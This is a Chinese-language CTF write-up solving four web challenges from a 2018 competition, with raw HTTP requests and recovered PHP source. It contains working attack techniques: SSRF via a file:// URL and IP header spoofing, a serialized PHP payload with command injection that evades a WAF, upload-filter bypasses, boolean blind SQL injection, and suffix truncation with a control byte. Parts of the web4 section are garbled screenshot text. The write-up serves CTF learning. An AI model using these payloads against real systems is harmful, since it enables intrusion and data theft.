

前言

正值周末，有幸ak了这个比赛的web，正好去年也打过一次，附上去年的题解

<http://skysec.top/2017/11/05/%E4%B8%8A%E6%B5%B7%E7%BA%BF%E4%B8%8A%E8%B5%9Bweb%E9%A2%98%E8%A7%A3/>

这次有幸所有题目都拿了前3血~以下是这次的记录

web1

拿到题目

<http://745fca0a178a41589917dd014537bd862c411015831d4eeb.game.ichunqiu.com/>

提示我们访问robots.txt

what are you doing?
 <!-- you need to visit to robots.txt -->

得到结果

source.php

flag.php

于是去访问source.php

Request

Raw

Params

Headers

Hex

GET /source.php HTTP/1.1
Host: 745fca0a178a41589917dd014537bd862c411015831d4eeb.game.ichunqiu.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1541294657; ci_session=e538405849c6ca71fab24ce7b016efeal34795b1; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDI00000; UM_distinctid=166dc6116fa49e-0b75761482d235-1e386652-13c680-166dc6116fb1e6; pgv_pvi=3466503168; pgv_si=s653521920; Hm_lpv_2d0601bd28de7d49818249cf35d95943=1541297970
Connection: close

Response

Raw

Headers

Hex

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Sun, 04 Nov 2018 02:21:35 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 55
Connection: close

you need to login as admin!<!-- post param 'admin' -->

按一系列要求改http头

Request

Raw

Params

Headers

Hex

POST /source.php HTTP/1.1
Host: 745fca0a178a41589917dd014537bd862c411015831d4eeb.game.ichunqiu.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
client-ip:127.0.0.1
x-forwarded-for: 127.0.0.1
x-remote-IP: 127.0.0.1
x-originating-IP: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
x-client-ip: 127.0.0.1
x-client-IP: 127.0.0.1
X-Real-ip: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1541294657; ci_session=e538405849c6ca71fab24ce7b016efeal34795b1; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDI00000; UM_distinctid=166dc6116fa49e-0b75761482d235-1e386652-13c680-166dc6116fb1e6; pgv_pvi=3466503168; pgv_si=s653521920; Hm_lpv_2d0601bd28de7d49818249cf35d95943=1541297970
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 35

admin=1&url=http://www.ichunqiu.com

Response

Raw

Headers

Hex

HTML

Render

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Sun, 04 Nov 2018 02:22:39 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 118
Connection: close
Vary: Accept-Encoding

you need to login as admin!<!-- post param 'admin' -->
-->http://www.ichunqiu.com

发现这里有一个下载链接，想到可能是用来放url请求的信息的，于是简单构造了一些

url=http://@127.0.0.1:80@www.ichunqiu.com/./index.php

```
➔ ~ curl http://745fca0a178a41589917dd014537bd862c411015831d4eeb.game.ichunqiu.com/download/1788945858\;img1.jpg
what are you doing?<br /> <!-- you need to visit to robots.txt -->%
```

先知社区

发现得到主页内容，说明的确是用来存放url请求内容的
那么想到file协议

```
admin=1&url=file:///@127.0.0.1:80/www.ichunqiu.com/../../var/www/html/flag.php
```

具体原理看

```
http://skysec.top/2018/03/15/Some%20trick%20in%20ssrf%20and%20unserialize()/
```

```
➔ ~ curl http://745fca0a178a41589917dd014537bd862c411015831d4eeb.game.ichunqiu.com/download/264769792\;img1.jpg
<?php
$flag="flag{a60b00c0-4498-482e-b63b-d01fe11f39e6}";%
➔ ~
```

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于是得到flag

然后顺手带走题目源代码

```
<?php
error_reporting(0);
include "flag.php";
echo "you need to login as admin!";
echo "<!-- post param 'admin' -->";
if(isset($_POST['admin']))
{
    if($_POST['admin']==1)
    {
        if($_SERVER['HTTP_X_CLIENT_IP'])
        {
            if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.ichunqiu.com')
            {
                $curl = curl_init();
                curl_setopt($curl, CURLOPT_URL, $_POST['url']);
                curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                $content = curl_exec($curl);
                curl_close($curl);
                $filename='download/'.rand().'.img1.jpg';
                file_put_contents($filename,$content);
                echo $_POST['url'];
                $img="<img src=\"".$filename."/\"/>";
                echo $img;
            }
            else
            {
                echo "you need post url: http://www.ichunqiu.com";
            }
        }
        else
        {
            echo "only 127.0.0.1 can get the flag!!";
        }
    }
}
else
{
    $_POST['admin']=0;
}
?>
```

发现果然是libcurlandparse_url()解析顺序的问题

```
if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.ichunqiu.com')
```

web2

扫描目录得到源码泄露.index.php.swp

恢复源码得到

```
<?php
error_reporting(0);
class come{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){and to continue
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/", "", $str);
        $str=str_replace('flag', '', $str);
        return $str;
    }
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))){
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }
}

$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
    if($i==1)
    {
        $i++;
        $$key = $value;
    }
    else{break;}
}
if($first=="doller")
{
    @parse_str($_GET['a']);
    if($var=="give")
    {
        if($bbb=="me")
        {
            if($ccc=="flag")
            {
                echo "<br>welcome!<br>";
                $come=$_POST['come'];
                unserialize($come);
            }
        }
    }
    else
    {echo "<br>think about it<br>";}
}
else
{
    echo "NO";
}
```

```

}
else
{
    echo "Can you hack me?<br>";
}

?>

```

发现关键waf

```

function waf($str){
    $str=preg_replace("/[<>*;|?\n ]/", "", $str);
    $str=str_replace('flag', '', $str);
    return $str;
}

```

思考到可以使用双写绕过flag，用\$IFS绕过空格
所以有

```
`cat$IFS/flflagag`
```

那么可以容易得到

```
POST /?first=doller&a=var=give%26bbb=me%26ccc=flag
```

.....

```
come=0%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A18%3A%22%60cat%24IFS%2Fflflagag%60%22%3B%7D%7D
```

```

POST /?first=doller&a=var=give%26bbb=me%26ccc=flag HTTP/1.1
Host: 1f824228589f4a13b15a19774fe5c8ce6edada6fd4bb470f.game.ichunqiu.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1541294657;
ci_session=e538405849c6ca71fab24ce7b016efea134795b1;
chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0000;
UM_distinctid=166dc6116fa49e-0b75761482d235-1e386652-13c680-166dc6116fb1e6;
pgv_pvi=3466503168; pgv_si=s653521920;
Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1541299261
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 189

come=0%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A18%3A%22%60cat%24IFS%2Fflflagag%60%22%3B%7D%7D

```

```

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Sun, 04 Nov 2018 03:05:56 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 59
Connection: close

<br>welcome!<br>flag{8f3f9546-7cb0-4bb0-b587-70721d4c53eb}

```



web3

题目给了代码

```

<?php
    //error_reporting(0);
    //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
    $dir=md5("icq");
    $sandbox = '/var/sandbox/' . $dir;
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }
        $new_name = (string)rand(100,999)." ".$ext;
    }

```

```

move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)=='@<?php' && strpos($_,$new_name)===false){
    include($_);
}
unlink($new_name);
}
else{
    highlight_file(__FILE__);
}

```

实际上就是pwnhub公开赛的题魔改的，后面拼上了橘子哥的one line php
首先是前面的上传校验

```

if($_FILES['file']['name']){
    $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
    if (!is_array($filename)) {
        $filename = explode('.', $filename);
    }
    $ext = end($filename);
    if($ext==$filename[count($filename) - 1]){
        die("emmmm...");
    }
}

```

漏洞很明显，只判断了不是数组的时候，没判断是数组的时候，于是有了数组绕过
然后到后面的

```

$new_name = (string)rand(100,999)." ".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)=='@<?php' && strpos($_,$new_name)===false){
    include($_);
}
unlink($new_name);

```

unlink的问题非常明显，/.的后缀就可以绕过

于是有了以下方式

```

boundary=----WebKitFormBoundaryserZWrsZuv3a7G65
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,
image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close

-----WebKitFormBoundaryserZWrsZuv3a7G65
Content-Disposition: form-data; name="file[0]";
Content-Type: text/html

php
-----WebKitFormBoundaryserZWrsZuv3a7G65
Content-Disposition: form-data; name="file[2]";
Content-Type: text/html

php
-----WebKitFormBoundaryserZWrsZuv3a7G65
Content-Disposition: form-data; name="file[a]";
Content-Type: text/html

php/.
-----WebKitFormBoundaryserZWrsZuv3a7G65
Content-Disposition: form-data; name="file";filename="sky.php"
Content-Type: text/html

@<?php phpinfo(); ?>
-----WebKitFormBoundaryserZWrsZuv3a7G65
Content-Disposition: form-data; name="submit"

Submit
-----WebKitFormBoundaryserZWrsZuv3a7G65--

```

```

HTTP/1.1 200 OK
Date: Sun, 04 Nov 2018 05:03:22 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

```

发现成功上传（本地测试了一下）

```

root@78ab00776d38:/var/sandbox/2765d621af8a58b78b4d528bd5ef7f6b# ls
233.123  380.php  587.php

```

然后进行目录爆破，反正就100~999，即可包含成功文件名，从而获得flag

web4

拿到题目后看到2个功能

1.■■■■■
2.select guest

系统后台登录

id

Select Guest

用户名:

密 码:

登录



于是先从select guest入手，进行注入

`http://959094d5f7934f3fala334ab1dc50c4b6160be6cc2bb4d77.game.ichunqiu.com/select_guest.php?id=1%27 or 1%23`

回显

```
$content=str_replace($value,"",$content)2
192.168.10.1
```

然后

`http://959094d5f7934f3fala334ab1dc50c4b6160be6cc2bb4d77.game.ichunqiu.com/select_guest.php?id=1%27%20or%200%23`

回显

```
$content=str_replace($value,"",$content)1
10.10.1.1
```

于是开始写探测过滤,发现

```
union
information_schema.TABLES
information_schema.COLUMNS
```

均被过滤,那么尝试用bool盲注
而对于另外两个关键词,可以使用

```
information_schema . TABLES  
information_schema . COLUMNS
```

进行bypass

随机注入得到管理员密码adminpassword

登入后发现是一个上传页面:

如果上传.php会提示

```
Vary: Accept-Encoding
```

```
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"  
<script>alert('php is not allowed!')</script>
```

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如果上传别的,会提示

```
c4b6160be6cc2bb4d77.game.ichunqiu.com
```

```
-----WebKitFormBoundaryi4pFe2yyiNucTlRd  
c OS X 10_14_1) AppleWebKit/537.36 (KHTML,  
6
```

```
xml;q=0.9,image/webp,image/apng,*/*;q=0.8
```

```
e6cc2bb4d77.game.ichunqiu.com/the_last_upload
```

```
943=1541294657,1541306975;
```

```
1320754; username=admin;
```

```
"
```

```
eld"; filename="123.111"
```

```
Content-type: text/html; charset=utf-8  
Content-Length: 123  
Connection: close  
Vary: Accept-Encoding
```

```
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"  
uploaded to ./123.111.txt  
please upload to ./flag.php
```

先知社区

题目会帮你拼接一个.txt后缀

并且提示你要上传flag.php,

首先发现有2个变量可控

submit

```
-----WebKitFormBoundaryi4pFe2yyiNucTlRd
```

```
Content-Disposition: form-data; name="fileField"; filename="123.111"
```

```
Content-Type: text/php
```

```
skysky
```

```
-----WebKitFormBoundaryi4pFe2yyiNucTlRd
```

```
Content-Disposition: form-data; name="uploadaddr"
```

```
./
```

```
-----WebKitFormBoundaryi4pFe2yyiNucTlRd
```

```
Content-Disposition: form-data; name="button"
```

那么容易想到保存方式为

uploadaddr+filename

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那么我们把php后缀拆开

RawParamsHeadersHex

POST /the_last_upload.php HTTP/1.1
Host: 959094d5f7934f3fala334abldc50c4b6160be6cc2bb4d77.game.ichunqiu.com
Content-Length: 487
Cache-Control: max-age=0
Origin: http://959094d5f7934f3fala334abldc50c4b6160be6cc2bb4d77.game.ichunqiu.com
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryi4pFe2yyiNucTlRd
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://959094d5f7934f3fala334abldc50c4b6160be6cc2bb4d77.game.ichunqiu.com/the_last_upload.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1541294657,1541306975; PHPSESSID=l39qv9317o5baogoaicmf58s44; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1541320754; username=admin; password=e3274be5c857fb42ab72d786e281b4b8
Connection: close

-----WebKitFormBoundaryi4pFe2yyiNucTlRd
Content-Disposition: form-data; name="action"

submit
-----WebKitFormBoundaryi4pFe2yyiNucTlRd
Content-Disposition: form-data; name="fileField"; filename="p"
Content-Type: text/php

skysky
-----WebKitFormBoundaryi4pFe2yyiNucTlRd
Content-Disposition: form-data; name="uploadaddr"

./flag.php
-----WebKitFormBoundaryi4pFe2yyiNucTlRd
Content-Disposition: form-data; name="button"

RawHeadersHexHTMLRender

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Sun, 04 Nov 2018 08:46:50 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 124
Connection: close
Vary: Accept-Encoding

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
uploaded to ./flag.php.txt
please upload to ./flag.php

接下来就是如何截断.txt了
首先尝试00未果，随机爆破，在02时发现截断成功

Request

RawParamsHeadersHex

3c 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f -----WebKitFo
3d 72 6d 42 6f 75 6e 64 61 72 79 57 59 4d 6f 72 77 rmBoundaryWYMorw
3e 33 6c 4c 67 75 49 4b 54 37 6c 0d 0a 43 6f 6e 74 3lGuIKT7l Cont
3f 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a ent-Dispositio
40 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 form-data; name
41 3d 22 61 63 74 69 6f 6e 22 0d 0a 0d 0a 73 75 62 ="action" sub
42 6d 69 74 0d 0a 2d 2d 2d 2d 2d 57 65 62 4b 69 mit -----WebKi
43 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 57 59 4d tFormBoundaryWYM
44 6f 72 77 33 6c 4c 67 75 49 4b 54 37 6c 0d 0a 43 orw3lGuIKT7l C
45 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 onent-Dispositi
46 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e on: form-data; n
47 61 6d 65 3d 22 66 69 6c 65 46 69 65 6c 64 22 3b ame="fileField";
48 20 66 69 6c 65 6e 61 6d 65 3d 22 68 70 02 2d 0d filename="hp "
49 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 Content-Type: t
4a 65 78 74 2f 70 68 70 0d 0a 0d 0a 0d 0a 2d 2d 2d ext/php
4b 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 -----WebKitFormBou
4c 6e 64 61 72 79 57 59 4d 6f 72 77 33 6c 4c 67 75 ndaryWYMorw3lGu
4d 49 4b 54 37 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 lKT7l Content-D
4e 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d isposition: form
4f 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 70 6c -data; name="upl
50 6f 61 64 64 69 72 22 0d 0a 0d 0a 2e 2f 66 6c 61 oaddir" ./fla
51 67 2e 70 0d 0a 2d 2d 2d 2d 2d 57 65 62 4b 69 g.p -----WebKi
52 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 57 59 4d tFormBoundaryWYM
53 6f 72 77 33 6c 4c 67 75 49 4b 54 37 6c 0d 0a 43 orw3lGuIKT7l C
54 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 onent-Dispositi
55 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e on: form-data; n
56 61 6d 65 3d 22 62 75 74 74 6f 6e 22 0d 0a 0d 0a ame="button"
57 e6 8f 90 e4 ba a4 0d 0a 2d 2d 2d 2d 2d 2d 57 65 æ äª ¯ -----We

Response

RawHeadersHexHTMLRender

HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Sun, 04 Nov 2018 08:37:20 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 135
Connection: close
Vary: Accept-Encoding

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
uploaded to ./flag.php
flag{5accd04b-53bd-4b78-b085-1ea674418701}

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